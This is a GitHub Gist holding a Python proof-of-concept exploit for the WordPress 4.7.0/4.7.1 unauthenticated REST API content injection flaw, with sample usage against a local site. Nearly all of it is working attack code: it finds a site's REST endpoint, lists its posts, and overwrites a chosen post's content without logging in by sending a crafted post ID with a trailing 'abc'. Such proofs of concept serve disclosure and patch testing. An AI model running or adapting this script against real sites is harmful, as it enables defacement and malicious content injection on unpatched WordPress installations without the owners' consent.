Created
February 3, 2017 07:13
-
-
Save undefinedzain/0cc4ae71152750b5efd8b06c50dae9b5 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# 2017 - @zend | |
# | |
# Wordpress 4.7.0/4.7.1 Unauthenticated Content Injection PoC | |
# Full bug description: https://blog.sucuri.net/2017/02/content-injection-vulnerability-wordpress-rest-api.html | |
# Usage example: | |
# | |
# List available posts: | |
# | |
# $ python inject.py http://localhost:8070/ | |
# * Discovering API Endpoint | |
# * API lives at: http://localhost:8070/wp-json/ | |
# * Getting available posts | |
# - Post ID: 1, Title: test, Url: http://localhost:8070/archives/1 | |
# | |
# Update post with content from a file: | |
# | |
# $ cat content | |
# foo | |
# | |
# $ python inject.py http://localhost:8070/ 1 content | |
# * Discovering API Endpoint | |
# * API lives at: http://localhost:8070/wp-json/ | |
# * Updating post 1 | |
# * Post updated. Check it out at http://localhost:8070/archives/1 | |
# * Update complete! | |
import json | |
import sys | |
import urllib2 | |
from lxml import etree | |
def get_api_url(wordpress_url): | |
response = urllib2.urlopen(wordpress_url) | |
data = etree.HTML(response.read()) | |
u = data.xpath('//link[@rel="https://api.w.org/"]/@href')[0] | |
# check if we have permalinks | |
if 'rest_route' in u: | |
print(' ! Warning, looks like permalinks are not enabled. This might not work!') | |
return u | |
def get_posts(api_base): | |
respone = urllib2.urlopen(api_base + 'wp/v2/posts') | |
posts = json.loads(respone.read()) | |
for post in posts: | |
print(' - Post ID: {}, Title: {}, Url: {}' | |
.format(post['id'], post['title']['rendered'], post['link'])) | |
def update_post(api_base, post_id, post_content): | |
# more than just the content field can be updated. see the api docs here: | |
# https://developer.wordpress.org/rest-api/reference/posts/#update-a-post | |
data = json.dumps({ | |
'content': post_content | |
}) | |
url = api_base + 'wp/v2/posts/{post_id}/?id={post_id}abc'.format(post_id=post_id) | |
req = urllib2.Request(url, data, {'Content-Type': 'application/json'}) | |
response = urllib2.urlopen(req).read() | |
print('* Post updated. Check it out at {}'.format(json.loads(response)['link'])) | |
def print_usage(): | |
print('Usage: {} <url> (optional: <post_id> <file with post_content>)'.format(__file__)) | |
if __name__ == '__main__': | |
# ensure we have at least a url | |
if len(sys.argv) < 2: | |
print_usage() | |
sys.exit(1) | |
# if we have a post id, we need content too | |
if 2 < len(sys.argv) < 4: | |
print('Please provide a file with post content with a post id') | |
print_usage() | |
sys.exit(1) | |
print('* Discovering API Endpoint') | |
api_url = get_api_url(sys.argv[1]) | |
print('* API lives at: {}'.format(api_url)) | |
# if we only have a url, show the posts we have have | |
if len(sys.argv) < 3: | |
print('* Getting available posts') | |
get_posts(api_url) | |
sys.exit(0) | |
# if we get here, we have what we need to update a post! | |
print('* Updating post {}'.format(sys.argv[2])) | |
with open(sys.argv[3], 'r') as content: | |
new_content = content.readlines() | |
update_post(api_url, sys.argv[2], ''.join(new_content)) | |
print('* Update complete!') |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment